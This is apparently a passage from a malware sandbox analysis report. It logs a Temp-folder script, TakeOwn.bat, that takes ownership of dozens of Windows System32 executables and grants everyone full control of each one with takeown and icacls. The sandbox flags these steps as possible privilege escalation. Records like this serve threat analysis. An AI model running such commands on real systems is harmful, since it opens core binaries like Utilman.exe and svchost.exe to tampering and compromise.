C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\sort.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\sort.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\sort.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SpatialAudioLicenseSrv.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SpatialAudioLicenseSrv.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SpatialAudioLicenseSrv.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\Speech_OneCore\Common\SpeechModelDownload.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\Speech_OneCore\Common\SpeechModelDownload.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\Speech_OneCore\Common\SpeechModelDownload.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\srdelayed.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\srdelayed.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\srdelayed.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\stordiag.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\stordiag.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\stordiag.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\subst.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\subst.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\subst.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\svchost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\svchost.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\svchost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\sxstrace.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\sxstrace.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\sxstrace.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SyncHost.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SyncHost.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SyncHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\systeminfo.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\systeminfo.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\systeminfo.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SystemPropertiesAdvanced.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SystemPropertiesAdvanced.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SystemPropertiesAdvanced.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SystemPropertiesComputerName.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SystemPropertiesComputerName.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SystemPropertiesComputerName.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SystemPropertiesDataExecutionPrevention.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SystemPropertiesDataExecutionPrevention.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SystemPropertiesDataExecutionPrevention.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SystemPropertiesHardware.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SystemPropertiesHardware.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SystemPropertiesHardware.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SystemPropertiesPerformance.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SystemPropertiesPerformance.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SystemPropertiesPerformance.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SystemPropertiesProtection.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SystemPropertiesProtection.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SystemPropertiesProtection.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SystemPropertiesRemote.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SystemPropertiesRemote.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SystemPropertiesRemote.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\SystemUWPLauncher.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\SystemUWPLauncher.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\SystemUWPLauncher.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\systray.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\systray.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\systray.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\takeown.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\takeown.exe"3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\takeown.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\TapiUnattend.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\TapiUnattend.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\TapiUnattend.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\tar.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\tar.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\tar.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\taskkill.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\taskkill.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\taskkill.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\tasklist.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\tasklist.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\tasklist.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\Taskmgr.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\Taskmgr.exe"3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\Taskmgr.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\tcmsetup.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\tcmsetup.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\tcmsetup.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\TCPSVCS.EXE"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\TCPSVCS.EXE"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\TCPSVCS.EXE" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\ThumbnailExtractionHost.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\ThumbnailExtractionHost.exe"3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\ThumbnailExtractionHost.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\timeout.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\timeout.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\timeout.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\TokenBrokerCookies.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\TokenBrokerCookies.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\TokenBrokerCookies.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\TpmInit.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\TpmInit.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\TpmInit.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\TpmTool.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\TpmTool.exe"3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\TpmTool.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\tracerpt.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\tracerpt.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\tracerpt.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\TRACERT.EXE"2⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\TRACERT.EXE"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\TRACERT.EXE" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\TSTheme.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\TSTheme.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\TSTheme.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\TsWpfWrp.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\TsWpfWrp.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\TsWpfWrp.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\ttdinject.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\ttdinject.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\ttdinject.exe" /grant "everyone":(f)3⤵
- Modifies file permissions
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\tttracer.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\tttracer.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\tttracer.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\typeperf.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\typeperf.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\typeperf.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\tzutil.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\tzutil.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\tzutil.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\unlodctr.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\unlodctr.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\unlodctr.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\unregmp2.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\unregmp2.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\unregmp2.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\upnpcont.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\upnpcont.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\upnpcont.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\user.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\user.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\user.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\UserAccountBroker.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\UserAccountBroker.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\UserAccountBroker.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\UserAccountControlSettings.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\UserAccountControlSettings.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\UserAccountControlSettings.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\userinit.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\userinit.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\userinit.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\Utilman.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\Utilman.exe"3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\Utilman.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\verclsid.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\verclsid.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\verclsid.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\verifiergui.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\verifiergui.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\verifiergui.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\w32tm.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\w32tm.exe"3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\w32tm.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\waitfor.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\waitfor.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\waitfor.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wbem\mofcomp.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wbem\mofcomp.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wbem\mofcomp.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wbem\WinMgmt.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wbem\WinMgmt.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wbem\WinMgmt.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wbem\WMIADAP.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wbem\WMIADAP.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wbem\WMIADAP.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wbem\WMIC.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wbem\WMIC.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wbem\WMIC.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wbem\WmiPrvSE.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wbem\WmiPrvSE.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wbem\WmiPrvSE.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wecutil.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wecutil.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wecutil.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\WerFault.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\WerFault.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\WerFault.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\WerFaultSecure.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\WerFaultSecure.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\WerFaultSecure.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wermgr.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wermgr.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wermgr.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wevtutil.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wevtutil.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wevtutil.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wextract.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wextract.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wextract.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\where.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\where.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\where.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\whoami.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\whoami.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\whoami.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\wiaacmgr.exe"2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\wiaacmgr.exe"3⤵
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\wiaacmgr.exe" /grant "everyone":(f)3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\System32\Windows.Media.BackgroundPlayback.exe"2⤵
- Executes a command shell one-liner
-
